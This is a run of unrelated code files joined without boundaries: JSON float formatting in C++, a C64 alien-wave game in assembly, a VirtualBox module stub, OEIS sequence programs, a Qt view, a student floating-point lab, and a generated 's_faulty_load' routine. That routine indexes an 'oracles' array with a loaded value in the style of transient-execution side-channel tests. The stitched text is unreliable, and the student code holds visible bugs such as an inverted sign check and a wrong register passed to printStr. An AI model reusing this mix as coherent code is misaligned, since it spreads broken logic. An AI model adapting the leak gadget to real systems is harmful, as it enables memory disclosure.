JSON_ASSERT(std::isfinite(value)); JSON_ASSERT(value > 0); // If the neighbors (and boundaries) of 'value' are always computed for double-precision // numbers, all float's can be recovered using strtod (and strtof). However, the resulting // decimal representations are not exactly "short". // // The documentation for 'std::to_chars' (https://en.cppreference.com/w/cpp/utility/to_chars) // says "value is converted to a string as if by std::sprintf in the default ("C") locale" // and since sprintf promotes float's to double's, I think this is exactly what 'std::to_chars' // does. // On the other hand, the documentation for 'std::to_chars' requires that "parsing the // representation using the corresponding std::from_chars function recovers value exactly". That // indicates that single precision floating-point numbers should be recovered using // 'std::strtof'. // // NB: If the neighbors are computed for single-precision numbers, there is a single float // (7.0385307e-26f) which can't be recovered using strtod. The resulting double precision // value is off by 1 ulp. #if 0 const boundaries w = compute_boundaries(static_cast<double>(value)); #else const boundaries w = compute_boundaries(value); #endif grisu2(buf, len, decimal_exponent, w.minus, w.w, w.plus); } /*! @brief appends a decimal representation of e to buf @return a pointer to the element following the exponent. @pre -1000 < e < 1000 */ JSON_HEDLEY_NON_NULL(1) JSON_HEDLEY_RETURNS_NON_NULL inline char* append_exponent(char* buf, int e) { JSON_ASSERT(e > -1000); JSON_ASSERT(e < 1000); if (e < 0) { e = -e; *buf++ = '-'; } else { *buf++ = '+'; } auto k = static_cast<std::uint32_t>(e); if (k < 10) { // Always print at least two digits in the exponent. // This is for compatibility with printf("%g"). *buf++ = '0'; *buf++ = static_cast<char>('0' + k); } else if (k < 100) { *buf++ = static_cast<char>('0' + k / 10); k %= 10; *buf++ = static_cast<char>('0' + k); } else { *buf++ = static_cast<char>('0' + k / 100); k %= 100; *buf++ = static_cast<char>('0' + k / 10); k %= 10; *buf++ = static_cast<char>('0' + k); } return buf; } /*! @brief prettify v = buf * 10^decimal_exponent If v is in the range [10^min_exp, 10^max_exp) it will be printed in fixed-point notation. Otherwise it will be printed in exponential notation. @pre min_exp < 0 @pre max_exp > 0 */ JSON_HEDLEY_NON_NULL(1) JSON_HEDLEY_RETURNS_NON_NULL inline char* format_buffer(char* buf, int len, int decimal_exponent, int min_exp, int max_exp) { JSON_ASSERT(min_exp < 0); JSON_ASSERT(max_exp > 0); const int k = len; const int n = len + decimal_exponent; // v = buf * 10^(n-k) // k is the length of the buffer (number of decimal digits) // n is the position of the decimal point relative to the start of the buffer. if (k <= n && n <= max_exp) { // digits[000] // len <= max_exp + 2 std::memset(buf + k, '0', static_cast<size_t>(n) - static_cast<size_t>(k)); // Make it look like a floating-point number (#362, #378) buf[n + 0] = '.'; buf[n + 1] = '0'; return buf + (static_cast<size_t>(n) + 2); } if (0 < n && n <= max_exp) { // dig.its // len <= max_digits10 + 1 JSON_ASSERT(k > n); std::memmove(buf + (static_cast<size_t>(n) + 1), buf + n, static_cast<size_t>(k) - static_cast<size_t>(n)); buf[n] = '.'; return buf + (static_cast<size_t>(k) + 1U); } if (min_exp < n && n <= 0) { // 0.[000]digits // len <= 2 + (-min_exp - 1) + max_digits10 std::memmove(buf + (2 + static_cast<size_t>(-n)), buf, static_cast<size_t>(k)); buf[0] = '0'; buf[1] = '.'; std::memset(buf + 2, '0', static_cast<size_t>(-n)); return buf + (2U + static_cast<size_t>(-n) + static_cast<size_t>(k)); } if (k == 1) { // dE+123 // len <= 1 + 5 buf += 1; } else { // d.igitsE+123 // len <= max_digits10 + 1 + 5 std::memmove(buf + 2, buf + 1, static_cast<size_t>(k) - 1); buf[1] = '.'; buf += 1 + static_cast<size_t>(k); } *buf++ = 'e'; return append_exponent(buf, n - 1); } } // namespace dtoa_impl /*! @brief generates a decimal representation of the floating-point number value in [first, last). The format of the resulting decimal representation is similar to printf's %g format. Returns an iterator pointing past-the-end of the decimal representation. @note The input number must be finite, i.e. NaN's and Inf's are not supported. @note The buffer must be large enough. @note The result is NOT null-terminated. */ template<typename FloatType> JSON_HEDLEY_NON_NULL(1, 2) JSON_HEDLEY_RETURNS_NON_NULL char* to_chars(char* first, const char* last, FloatType value) { static_cast<void>(last); // maybe unused - fix warning JSON_ASSERT(std::isfinite(value)); // Use signbit(value) instead of (value < 0) since signbit works for -0. if (std::signbit(value)) { value = -value; *first++ = '-'; } if (value == 0) // +-0 { *first++ = '0'; // Make it look like a floating-point number (#362, #378) *first++ = '.'; *first++ = '0'; return first; } JSON_ASSERT(last - first >= std::numeric_limits<FloatType>::max_digits10); // Compute v = buffer * 10^decimal_exponent. // The decimal digits are stored in the buffer, which needs to be interpreted // as an unsigned decimal integer. // len is the length of the buffer, i.e. the number of decimal digits. int len = 0; int decimal_exponent = 0; dtoa_impl::grisu2(first, len, decimal_exponent, value); JSON_ASSERT(len <= std::numeric_limits<FloatType>::max_digits10); // Format the buffer like printf("%.*g", prec, value) constexpr int kMinExp = -4; // Use digits10 here to increase compatibility with version 2. constexpr int kMaxExp = std::numeric_limits<FloatType>::digits10; JSON_ASSERT(last - first >= kMaxExp + 2); JSON_ASSERT(last - first >= 2 + (-kMinExp - 1) + std::numeric_limits<FloatType>::max_digits10); JSON_ASSERT(last - first >= std::numeric_limits<FloatType>::max_digits10 + 6); return dtoa_impl::format_buffer(first, len, decimal_exponent, kMinExp, kMaxExp); } } // namespace detail }} // namespace nlohmann::vt
;=============================================================================== ; gameMenu.asm - Game Main Menu ; ; Copyright (C) 2017,2018 Marcelo Lv Cabral - <https://lvcabral.com> ; ; Distributed under the MIT software license, see the accompanying ; file LICENSE or https://opensource.org/licenses/MIT ; ;=============================================================================== ; Constants AliensMax = 6 AliensFirePatternMax = 50 AliensRespawnDelay = 255 AliensYStart = 30 AliensYDelay = 1 AliensYPriorityTop = 56 AliensYPriorityBottom = 224 AliensExplode = 12 AlienRed = 5 AlienShooter = 6 AlienFirePos = 70 WavesMax = 10 WaveIndexMax = 55 ; (WavesMax - 1) * AliensMax + 1 ;=============================================================================== ; Variables aliensActiveArray dcb AliensMax, 1 aliensActive byte 0 aliensCount byte 0 aliensWaveIndex byte 0 aliensWaveTimeIndex byte 0 aliensWaveTimeArray byte 25, 15, 25, 5, 25 byte 15, 25, 15, 25, 5 aliensWaveArray byte 6, 5, 5, 5, 5, 6 byte 6, 6, 6, 6, 6, 6 byte 5, 5, 6, 6, 5, 5 byte 5, 5, 5, 5, 5, 5 byte 6, 5, 5, 5, 5, 5 byte 6, 6, 6, 6, 6, 6 byte 6, 5, 5, 5, 5, 6 byte 5, 6, 5, 6, 5, 6 byte 5, 5, 5, 5, 5, 5 byte 5, 5, 5, 5, 5, 5 aliensFormationArray byte 100, 50, 70, 70, 50, 200 byte 100, 100, 100, 100, 100, 100 byte 50, 100, 200, 150, 100, 50 byte 50, 50, 50, 50, 50, 50 byte 200, 90, 80, 70, 60, 50 byte 100, 100, 100, 100, 100, 100 byte 200, 80, 100, 80, 100, 200 byte 50, 50, 50, 50, 50, 50 byte 50, 100, 150, 150, 100, 50 byte 100, 100, 100, 100, 100, 100 aliensFrameArray byte 6, 5, 5, 5, 5, 6 aliensFrame byte 0 aliensColor byte 0 aliensXHighArray byte 0, 0, 0, 0, 0, 1 aliensXHigh byte 0 aliensXLowArray byte 55, 103, 150, 195, 242, 30 aliensXLow byte 0 aliensYArray byte 30, 30, 30, 30, 30, 30 aliensY byte 0 aliensYFire byte AlienFirePos aliensXChar byte 0 aliensXOffset byte 0 aliensYOffset byte 0 aliensYChar byte 0 aliensFireArray byte 0, 0, 0, 0, 0, 0 aliensFire byte 0 aliensFirePattern byte 12, 12, 90, 90, 12, 12, 12, 90, 200, 200 byte 12, 12, 12, 12, 90, 200, 90, 90, 90, 200 byte 12, 12, 12, 12, 12, 200, 90, 200, 90, 200 byte 90, 12, 12, 12, 12, 12, 200, 90, 90, 200 byte 12, 12, 90, 12, 12, 90, 12, 12, 12, 200 aliensFireIndexArray byte 13, 0, 0, 0, 0, 0 aliensFireIndex byte 0 aliensRespawnArray byte 0, 0, 0, 0, 0, 0 aliensRespawn byte 0 aliensTemp byte 0 aliensCollisionNo byte 0 aliensSprite byte 0 aliensPriority byte 0 aliensStep byte 0 aliensCollision byte 0 aliensScore byte 0 aliensSpeed byte 3 aliensSpeedArray byte 3, 3, 6 ;============================================================================== ; Macros/Subroutines gameAliensReset lda #0 sta aliensWaveIndex sta aliensWaveTimeIndex jsr gameAliensWaveReset rts ;============================================================================== gameAliensWaveReset ldx #0 stx aliensSprite stx aliensStep stx aliensCollision stx aliensCount gARLoop inc aliensSprite ; x+1 lda #False sta aliensActive lda aliensXHighArray,X sta aliensXHigh lda aliensXLowArray,X sta aliensXLow lda #AliensYStart sta aliensY ldy aliensWaveIndex inc aliensWaveIndex lda aliensFormationArray,Y sta aliensRespawn lda aliensWaveArray,Y sta aliensFrame cmp #AlienRed beq gARRed lda #Green jmp gARSetSprite gARRed lda #LightRed gARSetSprite sta aliensColor stx aliensTemp; save X register as it gets trashed jsr gameAliensSetupSprite jsr gameAliensSetVariables lda aliensFrame sta aliensFrameArray,X ; loop for each alien inx cpx #AliensMax bne gARLoop lda #AlienFirePos sta aliensYFire ; reset wave timer jsr gameAliensResetTime ; increment (and rotate) wave index lda aliensWaveIndex cmp #WaveIndexMax bcc gARDone lda #0 sta aliensWaveIndex gARDone rts ;============================================================================== gameAliensSetupSprite LIBSPRITE_SETPOSITION_AAAA aliensSprite, aliensXHigh, aliensXLow, aliensY ; update the alien char positions LIBSCREEN_PIXELTOCHAR_AAVAVAAAA aliensXHigh, aliensXLow, 12, aliensY, 40, aliensXChar, aliensXOffset, aliensYChar, aliensYOffset LIBSPRITE_STOPANIM_A aliensSprite LIBSPRITE_ENABLE_AV aliensSprite, False LIBSPRITE_SETFRAME_AA aliensSprite, aliensFrame LIBSPRITE_SETCOLOR_AA aliensSprite, aliensColor rts ;=============================================================================== gameAliensResetTime lda #$60 sta time1 ldy aliensWaveTimeIndex lda aliensWaveTimeArray,Y sta time2 iny cpy #WavesMax bcc gARTDone ldy #0 gARTDone sty aliensWaveTimeIndex rts ;============================================================================== gameAliensUpdate lda playerActive beq gAUReturn ldx #0 stx aliensSprite gAULoop inc aliensSprite ; x+1 jsr gameAliensGetVariables lda aliensActive beq gAUSkipThisAlien jsr gameAliensUpdatePosition jsr gameAliensUpdateFiring jsr gameAliensUpdateCollisions jmp gAUUpdated gAUSkipThisAlien jsr gameAliensUpdateInactive lda aliensCount cmp #AliensMax beq gAUWaveReset gAUUpdated jsr gameAliensSetVariables ; loop for each alien inx cpx #AliensMax bne gAULoop ; increment alien step ldy aliensStep cpy #AliensYDelay bne gAUIncMove ldy #0 jmp gAUFinish gAUIncMove iny gAUFinish sty aliensStep lda #0 sta aliensCollision jsr gameFlowDecreaseTime beq gAUEndWave jmp gAUReturn gAUWaveReset ; reset the formation when wave ends and all aliens are deactivated jsr gameAliensWaveReset jmp gAUReturn gAUEndWave lda #0 sta aliensCount lda #255 sta aliensYFire gAUReturn rts ;============================================================================== gameAliensGetVariables lda aliensActiveArray,X sta aliensActive lda aliensFrameArray,X sta aliensFrame lda aliensXHighArray,X sta aliensXHigh lda aliensXLowArray,X sta aliensXLow lda aliensYArray,X sta aliensY lda aliensFireArray,X sta aliensFire lda aliensFireIndexArray,X sta aliensFireIndex lda aliensRespawnArray,X sta aliensRespawn stx aliensTemp; save X register as it gets trashed rts ;============================================================================== gameAliensUpdatePosition lda playerActive ; only move if the player is alive beq gAUPISetPosition ldy aliensStep cpy #AliensYDelay bne gAUPISetPosition lda aliensFrame cmp #AlienShooter beq gAUPIShooters lda aliensY jmp gAUPIIncMove gAUPIShooters lda aliensY cmp aliensYFire bcs gAUPISetPosition gAUPIIncMove clc adc aliensSpeed sta aliensY cmp #250 bcs gAUPIMoveUp jsr gameAliensUpdatePriority jmp gAUPISetPosition gAUPIMoveUp lda time2 bne gAUPIContinue ; deactivate all aliens when wave ends lda #False sta aliensActive gAUPIContinue lda #AliensYStart sta aliensY gAUPISetPosition LIBSPRITE_SETVERTICALTPOS_AA aliensSprite, aliensY ; update the alien char positions LIBSCREEN_PIXELTOCHAR_AAVAVAAAA aliensXHigh, aliensXLow, 12, aliensY, 40, aliensXChar, aliensXOffset, aliensYChar, aliensYOffset rts ;============================================================================== gameAliensUpdatePriority ; prevent aliens to cover text on screen, but stay over the stars ldy aliensY cpy #AliensYPriorityTop bcc gAUPRMoveUnder cpy #AliensYPriorityBottom bcc gAUPRMoveOver gAUPRMoveUnder lda #True sta aliensPriority jmp gAUPRDone gAUPRMoveOver lda #False sta aliensPriority gAUPRDone LIBSPRITE_SETPRIORITY_AA aliensSprite, aliensPriority rts ;============================================================================== gameAliensUpdateFiring lda playerActive ; only fire if the player is alive beq gAUFDontfire lda aliensFrame ; only one type of alien fires cmp #AlienRed beq gAUFDontfire ldy aliensY ; don't fire if alien is not on right position cpy aliensYFire bcc gAUFDontfire inc aliensFire ldy aliensFireIndex lda aliensFirePattern,y cmp aliensFire beq gAUFFire jmp gAUFDontfire gAUFFire GAMEBULLETS_FIRE_AAAVV aliensXChar, aliensXOffset, aliensYChar, Yellow, False lda #0 sta aliensFire inc aliensFireIndex ldy aliensFireIndex cpy #AliensFirePatternMax bcc gAUFGetNextDelay ldy #0 gAUFGetNextDelay sty aliensFireIndex gAUFDontfire rts ;============================================================================== gameAliensUpdateCollisions lda #5 ;killed by shield sta aliensScore ldy aliensSprite lda SpriteNumberMask,y and aliensCollision bne gAUCKill GAMEBULLETS_COLLIDED aliensXChar, aliensYChar, True beq gAUCDone lda #10 ;killed by bullet sta aliensScore gAUCKill jsr gameAliensKill jmp gAUCDone gAUCDone rts ;============================================================================== gameAliensKill ; run explosion animation LIBSPRITE_PLAYANIM_AVVVV aliensSprite, AliensExplode, FinishExplode, 1, False LIBSPRITE_SETCOLOR_AV aliensSprite, Yellow ; play explosion sound LIBSOUND_PLAY_VAA 1, soundExplosionHigh, soundExplosionLow ; don't increase score when the player dies together lda playerWillDie bne gAKDone jsr gameFlowIncreaseScore gAKDone lda #False sta aliensActive rts ;============================================================================== gameAliensSetVariables ldx aliensTemp ; restore X register as it gets trashed lda aliensActive sta aliensActiveArray,X lda aliensFire sta aliensFireArray,X lda aliensFireIndex sta aliensFireIndexArray,X lda aliensRespawn sta aliensRespawnArray,X lda aliensY sta aliensYArray,X rts ;============================================================================== gameAliensUpdateInactive lda time2 beq gAUICheckWave jmp gAUIVerify gAUICheckWave inc aliensCount jmp gAUIDontRespawn gAUIVerify inc aliensRespawn ldy aliensRespawn cpy #AliensRespawnDelay beq gAUIRespawn jmp gAUIDontRespawn gAUIRespawn lda aliensFrame cmp #AlienRed beq gAUIRed lda #Green jmp gAUISetSprite gAUIRed lda #LightRed gAUISetSprite sta aliensColor lda #0 sta aliensRespawn lda #AliensYStart sta aliensY LIBSPRITE_STOPANIM_A aliensSprite LIBSPRITE_ENABLE_AV aliensSprite, True LIBSPRITE_SETFRAME_AA aliensSprite, aliensFrame LIBSPRITE_SETCOLOR_AA aliensSprite, aliensColor lda #True sta aliensActive jsr gameAliensUpdatePosition gAUIDontRespawn rts
; $Id: deps.asm $ ;; @file ; Solaris kernel module dependency ; ; ; Copyright (C) 2012-2015 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; %include "iprt/solaris/kmoddeps.mac" kmoddeps_header ; ELF header, section table and shared string table kmoddeps_dynstr_start ; ELF .dynstr section kmoddeps_dynstr_string str_misc_ctf, "misc/ctf" kmoddeps_dynstr_end kmoddeps_dynamic_start ; ELF .dynamic section kmoddeps_dynamic_needed str_misc_ctf kmoddeps_dynamic_end
; A188480: a(n) = (n^4 + 16*n^3 + 65*n^2 + 26*n + 12)/12. ; 1,10,39,99,203,366,605,939,1389,1978,2731,3675,4839,6254,7953,9971,12345,15114,18319,22003,26211,30990,36389,42459,49253,56826,65235,74539,84799,96078,108441,121955,136689,152714,170103,188931,209275,231214,254829,280203,307421,336570,367739,401019,436503,474286,514465,557139,602409,650378,701151,754835,811539,871374,934453,1000891,1070805,1144314,1221539,1302603,1387631,1476750,1570089,1667779,1769953,1876746,1988295,2104739,2226219,2352878,2484861,2622315,2765389,2914234,3069003,3229851,3396935,3570414,3750449,3937203,4130841,4331530,4539439,4754739,4977603,5208206,5446725,5693339,5948229,6211578,6483571,6764395,7054239,7353294,7661753,7979811,8307665,8645514,8993559,9352003,9721051,10100910,10491789,10893899,11307453,11732666,12169755,12618939,13080439,13554478,14041281,14541075,15054089,15580554,16120703,16674771,17242995,17825614,18422869,19035003,19662261,20304890,20963139,21637259,22327503,23034126,23757385,24497539,25254849,26029578,26821991,27632355,28460939,29308014,30173853,31058731,31962925,32886714,33830379,34794203,35778471,36783470,37809489,38856819,39925753,41016586,42129615,43265139,44423459,45604878,46809701,48038235,49290789,50567674,51869203,53195691,54547455,55924814,57328089,58757603,60213681,61696650,63206839,64744579,66310203,67904046,69526445,71177739,72858269,74568378,76308411,78078715,79879639,81711534,83574753,85469651,87396585,89355914,91347999,93373203,95431891,97524430,99651189,101812539,104008853,106240506,108507875,110811339,113151279,115528078,117942121,120393795,122883489,125411594,127978503,130584611,133230315,135916014,138642109,141409003,144217101,147066810,149958539,152892699,155869703,158889966,161953905,165061939,168214489,171411978,174654831,177943475,181278339,184659854,188088453,191564571,195088645,198661114,202282419,205953003,209673311,213443790,217264889,221137059,225060753,229036426,233064535,237145539,241279899,245468078,249710541,254007755,258360189,262768314,267232603,271753531,276331575,280967214,285660929,290413203,295224521,300095370,305026239,310017619,315070003,320183886,325359765,330598139,335899509,341264378 mov $10,$0 mov $12,$0 add $12,1 lpb $12 clr $0,10 mov $0,$10 sub $12,1 sub $0,$12 mov $7,$0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,$0 add $3,1 mov $0,$3 mov $2,$3 add $2,4 sub $4,$4 lpb $0 mov $0,0 mul $3,$2 add $4,$3 mov $2,$4 add $4,1 trn $4,19 mov $6,3 trn $6,$4 sub $2,$6 lpe sub $2,1 add $0,$2 add $8,$0 lpe add $11,$8 lpe mov $1,$11
; A281392: Number of occurrences of "01" as a subsequence in the binary expansion of n. ; Submitted by Jamie Morken(s4) ; 0,1,1,2,1,3,2,3,1,4,3,5,2,4,3,4,1,5,4,7,3,6,5,7,2,5,4,6,3,5,4,5,1,6,5,9,4,8,7,10,3,7,6,9,5,8,7,9,2,6,5,8,4,7,6,8,3,6,5,7,4,6,5,6,1,7,6,11,5,10,9,13,4,9,8,12,7,11,10,13,3,8,7,11,6,10,9,12,5,9,8,11,7,10,9,11,2,7,6,10 lpb $0 add $0,1 lpb $0 dif $0,2 add $1,10 sub $2,10 lpe div $0,2 add $2,$1 lpe add $1,$2 div $1,10 mov $0,$1
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi // Store lea addresses_D+0xaf43, %r15 nop nop sub $62815, %r8 movb $0x51, (%r15) nop nop sub %rax, %rax // Store lea addresses_normal+0x89f7, %rcx nop nop nop nop nop xor %rdi, %rdi mov $0x5152535455565758, %rax movq %rax, %xmm7 movups %xmm7, (%rcx) nop nop nop inc %r15 // Faulty Load lea addresses_UC+0x1ac17, %rcx nop nop xor $27836, %rsi mov (%rcx), %r15d lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal', 'congruent': 5}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}} <gen_prepare_buffer> {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
; A258388: a(n) = n^(n+1) + (n-1)^n. ; 1,1,9,89,1105,16649,295561,6044737,139982529,3621002129,103486784401,3238428376721,110131633755793,4044369591078361,159505471943511513,6723976451270702849,301716313535065716481,14358232357247077816865,722298429807405401348641,38298208802901295869713233,2134741973457545958193355601,124791479386105632949003612841,7634107629398935895675231531689,487762177298514807052891984861889,32489909408403320963568121105193665,2252455707894719899834041291529891249,162279555134636403161560794834586938801 sub $0,1 mov $1,$0 mov $2,$0 add $2,1 pow $0,$2 add $1,2 pow $2,$1 add $0,$2
#include <iostream> #include "TopdownGroupView.h" #include "TopdownTreeView.h" void TopdownGroupView::displayTrace(Trace& trace) { this->removeAllTabs(); for (int i = 0; i < trace.getTaskCount(); i++) { auto* task = trace.getTaskAt(i); this->createTab(task); } } void TopdownGroupView::removeAllTabs() { int count = this->count(); for (int i = 0; i < count; i++) { this->removeTab(0); } } void TopdownGroupView::createTab(TaskContext* task) { auto name = task->getTask().getName() + " (" + std::to_string(task->getTask().getPid()) + ")"; auto view = new TopdownTreeView(); view->displayTask(*task); this->addTab(view, QString::fromStdString(name)); }
; A317945: Filter sequence constructed from the coefficients of the Stern polynomials B(d,t) collected for each divisor d of n. Restricted growth sequence transform of A317944. ; Submitted by Jamie Morken(s3) ; 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 mov $1,$0 seq $1,50519 ; Increments of arithmetic progression of at least 6 terms having the same value of phi in A050518. mov $0,$1 div $0,30
; Program to accept a signed decimal number in the format +/-xxxx ; Calculate the 8-bit "quarter precision" IEEE-754 encoding and print it to screen. ; Format -/+xxxx in decimal, entered as ASCII. ; 1) Get sign ; 2) Get number ; 3) Normalize number to get exponent ; 3) Compute bias-** representation of exponent ; 4) Create final IEEE-754 representation ; Constant definitions DISPLAY .EQU 04E9h ; address of Libra display ; Global variables .ORG 0000 SIGN: .DB 0 ; Sign of entered number (0=positive, 1=negative) SUM: .DB 0 ; Unsigned binary representation of entered number EXP: .DB 0 ; Excess/bias representation of exponent (only uses lower 3 bits) FP: .DB 0 ; 8-bit quarter-precision IEEE-754 representation of number .ORG 1000h ; ------------------------------------------------------------------- ; Insert Sub-routines getChar, printStr, and newLine from Lab 8 here ; ------------------------------------------------------------------- printStr: ; Save registers modified by this subroutine push AX ; FIXED push SI ; FIXED push DX ; FIXED mov DX, DISPLAY LoopPS: mov AL, [SI] ; Load the next char to be printed - USING INPUT PARAMETER SI cmp AL, '$' ; Compare the char to '$' je quitPS ; If it is equal, then quit subroutine and return to calling code out DX,AL ; If it is not equal to '$', then print it inc SI ; Point to the next char to be printed jmp LoopPS ; Jump back to the top of the loop quitPS: ; Restore registers pop DX ; FIXED pop SI ; FIXED pop AX ; FIXED RET s_CR .EQU 0Dh ; ASCII value for Carriage return s_LF .EQU 0Ah ; ASCII value for NewLine newLine: ; Save registers modified by this subroutine push AX ; FIXED push DX ; FIXED mov DX, DISPLAY ; Initialize the output port number in DX mov AL, s_LF ; Load line feed (LF) into AL out DX,AL ; print the char mov AL, s_CR ; Load carriage return (CR) into AL out DX,AL ; print the char ; Restore registers pop DX ; FIXED pop AX ; FIXED RET ; --------------------------------------------------------------- ; getChar: waits for a keypress and returns pressed key in AL ; Input parameters: ; none. ; Output parameters: ; AL: ASCII Value of key pressed by user ; --------------------------------------------------------------- ; Constants used by this subroutine KBSTATUS .EQU 0064h ; FIXED port number of keyboard STATUS reg KBBUFFER .EQU 0060h ; FIXED port number of keyboard BUFFER reg getChar: push DX ; save reg used GCWait: mov DX, KBSTATUS ; load addr of keybrd STATUS in AL,DX ; Read contents of keyboard STATUS register cmp AL,0 ; key pressed? je GCWait ; no, go back and check again for keypress mov DX, KBBUFFER ; load port number of kbrd BUFFER register in AL,DX ; get key into AL from BUFFER GCDone: pop DX ; restore regs ret ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; END OF SUBROUTINES FROM lab8.asm ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; --------------------------------------------------------------- ; getSign: waits for user to press '+' or '-'. Ignores other chars. ; Valid input sign character is echoed to screen. ; Input parameters: ; none. ; Output parameters: ; AL: Returns a zero for '+' and one for '-' ; --------------------------------------------------------------- getSign: call getChar mov DX, DISPLAY out DX, AL cmp AL, '-' je getpos cmp AL, '+' je getneg jmp getSign getpos: mov AL, 0 RET getneg: mov AL,1 RET ; ------------------------------------------------------------------------------- ; getDigit: waits for user to press 0-9 digit. Ignores other chars except RETURN ; Input parameters: ; none. ; Output parameters: ; AL: Returns binary value of digit in AL. Returns 99 if user presses ENTER ; ------------------------------------------------------------------------------ ; Constants used by this subroutine ENTERK .EQU 0Ah getDigit: call getChar cmp AL, ENTERK ; Check for ENTER Key (ENTERK) jne skipGD mov AL, DONE ; if yes, return 99 in AL RET skipGD: cmp AL, '0' ; check for '0' jb getDigit ; if below '0', get another char cmp AL, '9' ; check for '9' ja getDigit ; if above '9', get another char call printStr ; Echo digit back to screen (remember to save/restore any used registers) ; Shift ASCII --> binary RET 